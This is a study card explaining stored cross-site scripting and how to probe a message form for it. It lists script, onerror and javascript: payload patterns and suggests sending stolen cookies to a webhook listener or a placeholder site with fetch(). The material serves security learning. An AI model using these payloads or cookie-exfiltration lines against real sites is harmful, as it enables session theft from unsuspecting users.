Return to topic cards

Understanding Stored Cross-Site Scripting (XSS)

Stored XSSWeb SecurityVulnerability ExploitationJavaScript InjectionCybersecurity

Stored Cross-Site Scripting (XSS) is a critical web vulnerability that allows attackers to inject malicious scripts into web applications. These scripts are stored on the server and executed in other users' browsers when they visit the vulnerable page. This guide aims to help you understand and exploit stored XSS vulnerabilities through a web form.

Key Points

  • Stored XSS involves injecting malicious JavaScript code that persists on the server.
  • The goal is to demonstrate the ability to inject and execute scripts in other users' browsers.
  • This vulnerability can be used to steal session cookies, redirect users, and inject malicious scripts.

Initial Observations

  • The web page contains a form with a "message" field.
  • Submitted messages are rendered on the same page, a typical scenario for stored XSS.
  • Input starting with plain text followed by a <script> tag is rendered and executed.
    • Example: test<script>...</script> → script is executed in the browser.

Test Strategy

Test Different Payloads

  • Use a combination of text + script to ensure the payload gets rendered.
  • Simple <script>alert('xss')</script> might work or might require preceding characters.

Check for Escaping/Sanitization

  • See how the input is reflected back in the HTML.
  • Is it rendered directly? Inside an HTML tag? Inside an attribute?

Check if the Payload Persists

  • Submit a payload, then reload or revisit the page to verify if it's stored and still executed.
  • Stored XSS means the payload is saved on the server side and affects all users.

Tools & Techniques

  • Use DevTools (F12) to inspect how the message is rendered in the DOM.
  • Use alert() or console.log() as basic proof of execution.
  • Use a webhook listener (like https://webhook.site) to exfiltrate cookies or other browser data.
  • Try payloads using:
    • <script>...</script>
    • Event handlers: <img src=x onerror=...>
    • URL redirection: window.location = "..."

Security Concepts

  • Stored XSS is more dangerous than reflected XSS because:
    • It doesn’t require social engineering or tricking a user into clicking a link.
    • It affects every user who visits the vulnerable page.
  • This kind of vulnerability can be used to:
    • Steal session cookies
    • Redirect users
    • Inject keyloggers or malicious scripts

What Didn’t Work

  • Direct alert(document.cookie) may not work if:
    • The page is running in HttpOnly context.
    • The cookie is not accessible via JS.
  • DOM-based restrictions or CSP (Content Security Policy) might block direct access or script execution.

What to Look For

  • Can you control raw HTML or script inside the page?
  • Is the input reflected unescaped in the DOM?
  • Are event handlers like onerror, onclick, etc. usable?
  • Can you trigger external requests using JS or HTML events?

Extra Tips for Practice

  • Test payloads using "<script>fetch('https://your.site')</script>" or similar.
  • Use encodeURIComponent() when generating URLs for exfiltration.
  • Try payloads in different fields and observe if any HTML filters are applied.
  • Try polyglot payloads that work across different contexts (tag, attribute, JS, etc.).

Useful Payload Patterns

Pattern TypeExample
Text + scripttest<script>your_code()</script>
Event-based<img src=x onerror="your_code()">
Link-based<a href="javascript:your_code()">click</a>

Learn More

For more detailed information on XSS vulnerabilities and how to prevent them, consider exploring resources like the OWASP XSS Prevention Cheat Sheet.